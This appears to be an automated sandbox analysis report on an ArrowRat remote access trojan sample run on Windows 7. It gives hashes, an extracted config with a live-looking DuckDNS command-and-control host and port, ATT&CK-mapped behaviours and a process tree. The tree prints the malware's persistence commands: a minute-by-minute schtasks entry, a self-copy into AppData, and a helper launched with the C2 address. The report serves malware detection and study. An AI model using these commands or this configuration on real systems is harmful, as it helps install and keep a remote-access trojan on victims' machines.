Analysis

  • max time kernel
    138s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25-09-2024 01:29

General

  • Target

    a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe

  • Size

    732KB

  • MD5

    ab0d49fdafb94d853b64632422636c97

  • SHA1

    114878c7437c44b9d33085f3f75ca16f4e3aa9dc

  • SHA256

    a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b

  • SHA512

    d358354275e32cdb8526687f9e27ef3d419d5ed2449d22f1b9230dbce92aed8bade6d2b5d45b3504336b76a8718af782c9ef78e42b3a0fb8a5428e41a99a529a

  • SSDEEP

    12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 28 IoCs
  • Suspicious use of SendNotifyMessage 19 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe
    "C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2908
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\system32\ctfmon.exe
          ctfmon.exe
          4⤵
            PID:2040
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1728
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2568
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1556
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:1644
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2388
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {EFE2BBC7-E9CB-40B6-9727-F5AB819B2D5B} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Users\Admin\AppData\Roaming\kio\kio.exe
        C:\Users\Admin\AppData\Roaming\kio\kio.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1984
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2024
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            4⤵
              PID:2108
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
              4⤵
              • System Location Discovery: System Language Discovery
              PID:592
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1492
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2328
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
              4⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:2696
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1932
        • C:\Users\Admin\AppData\Roaming\kio\kio.exe
          C:\Users\Admin\AppData\Roaming\kio\kio.exe
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2296

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\TMP_pass

        Filesize

        46KB

        MD5

        02d2c46697e3714e49f46b680b9a6b83

        SHA1

        84f98b56d49f01e9b6b76a4e21accf64fd319140

        SHA256

        522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

        SHA512

        60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

      • C:\Users\Admin\AppData\Roaming\kio\kio.exe

        Filesize

        732KB

        MD5

        ab0d49fdafb94d853b64632422636c97

        SHA1

        114878c7437c44b9d33085f3f75ca16f4e3aa9dc

        SHA256

        a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b

        SHA512

        d358354275e32cdb8526687f9e27ef3d419d5ed2449d22f1b9230dbce92aed8bade6d2b5d45b3504336b76a8718af782c9ef78e42b3a0fb8a5428e41a99a529a

      • memory/592-69-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

        Filesize

        4KB

      • memory/1728-20-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/1728-28-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/1728-30-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/1728-18-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/1728-22-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/1728-27-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/1728-26-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

        Filesize

        4KB

      • memory/1728-24-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/1984-40-0x0000000001310000-0x00000000013CC000-memory.dmp

        Filesize

        752KB

      • memory/2024-60-0x00000000000B0000-0x0000000000110000-memory.dmp

        Filesize

        384KB

      • memory/2024-53-0x00000000000B0000-0x0000000000110000-memory.dmp

        Filesize

        384KB

      • memory/2024-52-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2024-57-0x00000000000B0000-0x0000000000110000-memory.dmp

        Filesize

        384KB

      • memory/2536-31-0x00000000740B0000-0x000000007479E000-memory.dmp

        Filesize

        6.9MB

      • memory/2536-4-0x00000000740B0000-0x000000007479E000-memory.dmp

        Filesize

        6.9MB

      • memory/2536-1-0x00000000011F0000-0x00000000012AC000-memory.dmp

        Filesize

        752KB

      • memory/2536-2-0x00000000740B0000-0x000000007479E000-memory.dmp

        Filesize

        6.9MB

      • memory/2536-0-0x00000000740BE000-0x00000000740BF000-memory.dmp

        Filesize

        4KB

      • memory/2536-3-0x00000000740BE000-0x00000000740BF000-memory.dmp

        Filesize

        4KB

      • memory/2708-77-0x0000000004520000-0x0000000004530000-memory.dmp

        Filesize

        64KB

      • memory/2908-5-0x0000000000400000-0x0000000000460000-memory.dmp

        Filesize

        384KB

      • memory/2908-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2908-9-0x0000000000400000-0x0000000000460000-memory.dmp

        Filesize

        384KB

      • memory/2908-7-0x0000000000400000-0x0000000000460000-memory.dmp

        Filesize

        384KB

      • memory/2908-6-0x0000000000400000-0x0000000000460000-memory.dmp

        Filesize

        384KB

      • memory/2908-17-0x0000000000400000-0x0000000000460000-memory.dmp

        Filesize

        384KB

      • memory/2908-13-0x0000000000400000-0x0000000000460000-memory.dmp

        Filesize

        384KB

      • memory/2908-15-0x0000000000400000-0x0000000000460000-memory.dmp

        Filesize

        384KB